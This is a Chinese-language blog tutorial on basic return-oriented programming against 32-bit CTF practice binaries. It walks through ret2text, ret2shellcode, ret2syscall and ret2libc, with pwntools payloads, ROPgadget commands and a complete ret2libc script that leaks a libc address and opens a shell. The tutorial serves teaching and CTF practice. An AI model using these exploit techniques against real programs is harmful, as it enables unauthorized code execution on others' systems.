基本ROP

Ret2Text

ret2text 即控制程序执行程序本身已有的的代码 (即 .text 段中的代码) ,通常题目中存在有后门函数

对应例子:

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1

setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("There is something amazing here, do you know anything?");
gets((char *)&v4);
printf("Maybe I will tell you next time !");
return 0;
}

存在以下汇编:

1
2
3
.text:080486A7                 lea     eax, [esp+1Ch]
.text:080486AB mov [esp], eax ; s
.text:080486AE call _gets

需要在gdb中将对应断点下在gets (0x80486AE)处,观察对应的ebpesp计算对应填充长度,方法如下图:

即对应的Payload为:

1
2
targetAddr = 0xdeedbeef		# 程序中对应的 system 地址
payload = cyclic(0x6c + 4) + p32(targetAddr)

Ret2ShellCode

ret2shellcode,即控制程序执行 shellcode 代码,通常情况下需要自己写对应的 shellcode,对于拥有 NX 保护的时候通常不太考虑该方法

相应的写入 shellcode 的地方需要有执行权限,checksec 带有 rwx segment 提示

1
2
3
4
5
6
7
$ checksec ret2shellcode
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

此时可以使用readelf -S ret2shellcode查看对应的rwx段地址信息(通常考虑 .bss 段)

在 gdb 中使用vmmap查看各个段的权限信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
➤  vmmap 
Start End Offset Perm Path
0x08048000 0x08049000 0x00000000 r-x /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0x08049000 0x0804a000 0x00000000 r-x /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0x0804a000 0x0804b000 0x00001000 rwx /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0xf7dfc000 0xf7fab000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7fab000 0xf7fac000 0x001af000 --- /lib/i386-linux-gnu/libc-2.23.so
0xf7fac000 0xf7fae000 0x001af000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7fae000 0xf7faf000 0x001b1000 rwx /lib/i386-linux-gnu/libc-2.23.so
0xf7faf000 0xf7fb2000 0x00000000 rwx
0xf7fd3000 0xf7fd5000 0x00000000 rwx
0xf7fd5000 0xf7fd7000 0x00000000 r-- [vvar]
0xf7fd7000 0xf7fd9000 0x00000000 r-x [vdso]
0xf7fd9000 0xf7ffb000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffb000 0xf7ffc000 0x00000000 rwx
0xf7ffc000 0xf7ffd000 0x00022000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 0x00023000 rwx /lib/i386-linux-gnu/ld-2.23.so
0xfffdd000 0xffffe000 0x00000000 rwx [stack]

对应的写入shellcode的 rwx 段信息为:

1
0x0804a000 0x0804b000 0x00001000 rwx /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode

通过下面代码进行构造shellcode,进行写入

1
shellcode = asm(shellcraft.sh())

完整的Payload为:

1
2
3
4
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080 # RWX 段地址

payload = shellcode.ljust(112, b'A') + p32(buf2_addr) # 112 为溢出长度

Ret2Syscall

ret2syscall,即控制程序执行系统调用,获取 shell

其核心在于尽可能的写入/bin/sh,而后在空间中执行execve("/bin/sh", NULL, NULL)来获取shell

那么怎么写?此时需要一定的系统调用知识,需要我们在程序中找到对应的gadget来拼凑出一段shellcode

以 CTFWiki 上的 Ret2Syscall 题写入 execve("/bin/sh", NULL, NULL) 为例,需要满足以下条件:

  • 系统调用号,即 eax 应该为 0xb 对应的是 execve
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0

对应的我们通过ROPgadget来分别寻找控制各个寄存器的片段

1
2
3
4
ROPgadget --binary rop  --only 'pop|ret' | grep 'eax' # 寻找控制 eax 片段
ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'
ROPgadget --binary rop --string '/bin/sh'
ROPgadget --binary rop --only 'int 80'

此时我们可以分别获取对应的地址,此时我们控制垃圾数据进行溢出,设置pop_reg_ret以及对应的参数,进行触发 int 80 的系统中断调用

Payload如下:

1
2
3
4
5
6
7
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80]
)

当然寻找 gadget 不仅限制于此,可以是以下Payload:

1
2
payload=p32(pop_ecx_addr)+p32(bss_addr)+p32(pop_[ecx]_addr)+'/bin'
payload+=p32(pop_ecx_addr)+p32(bss_addr+4)+p32(pop_[ecx]_addr)+'/sh\x00'

需要程序具有 pop [ecx] 这样的片段

1
ROPgadget --binary xxx | grep 'pop dword ptr \[ecx\]'

当然不一定非得是 ecx 可以是其他寄存器

逻辑如图所示:

TIPs: 程序是静态链接的情况下,可以考虑使用ROPgadget自动生成shellcode

1
ROPgadget --binary xxx --ropchain

Ret2Libc

ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system(“/bin/sh”),故而此时我们需要 system 函数的地址以及 /bin/sh 的地址

以CTFWiki 例1 为例,其在程序中存在system以及/bin/sh的地址,所以可以直接利用,对应Payload如下:

1
2
3
4
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat([b'a' * 112, system_plt, b'b' * 4, binsh_addr])
# 其中 b'b' * 4 为 system 的返回地址,当我们拿到 shell 后其实并不关心其返回地址

当程序中并不存在 /bin/sh 时,便是对应 例2 的情况,但是程序中拥有 gets 函数,可以通过溢出后将对应的 gets 设置为跳转地址,然后写入到 .bss 中,Payload如下:

1
2
3
4
5
6
7
8
9
gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx = 0x0804843d
buf2 = 0x804a080
payload = flat(
[b'a' * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2])

# io.sendline(payload)
# io.sendline(b'/bin/sh')

但是如果程序没有 system 也没有 /bin/sh 时,对应的题目便是 例3

对于此题我们使用 checksec 可以看到有 NX 保护(禁止栈执行代码)

1
2
3
4
5
6
7
8
[*] '/home/zera/Desktop/ret2libc3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Debuginfo: Yes

对于此题需要我们找到对应程序的 libc 版本信息,而后 在 libc 中找到对应 system/bin/sh 的地址,对于程序而言,就算其有 ASLR(随机地址) 保护但是不会改变其低 12 位

那么如何得到 libc 中的某个函数的地址呢?我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。同时,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址,对此我们考虑泄露 __libc_start_main 的地址,因为其是程序最开始被执行的地方,我们在程序中找到对应的 puts 地址将其进行打印后,利用 LibcSearcher 找到对应 libc 版本,即可定位对应 libc_base 从而拿到我们想要的地址信息

总体而言,需要我们完成以下过程:

  • 泄露 __libc_start_main 地址
  • 获取 libc 版本
  • 获取 system 地址与 /bin/sh 的地址
  • 再次执行源程序
  • 触发栈溢出执行 system('/bin/sh')

对应的Payload如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')

ret2libc3 = ELF('./ret2libc3')

puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']

print("leak libc_start_main_got addr and return to main again")
payload = flat([b'A' * 112, puts_plt, main, libc_start_main_got]) # 泄露对应 __libc_start_main 的地址信息
sh.sendlineafter(b'Can you find it !?', payload)

print("get the related addr")
libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr) # 寻找 libc 版本
libcbase = libc_start_main_addr - libc.dump('__libc_start_main') # 获取到偏移后计算基址
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

print("get shell")
payload = flat([b'A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)

sh.interactive()

基本ROP
https://equinox-shame.github.io/2025/10/28/基本ROP/
作者
梓曰
发布于
2025年10月28日
许可协议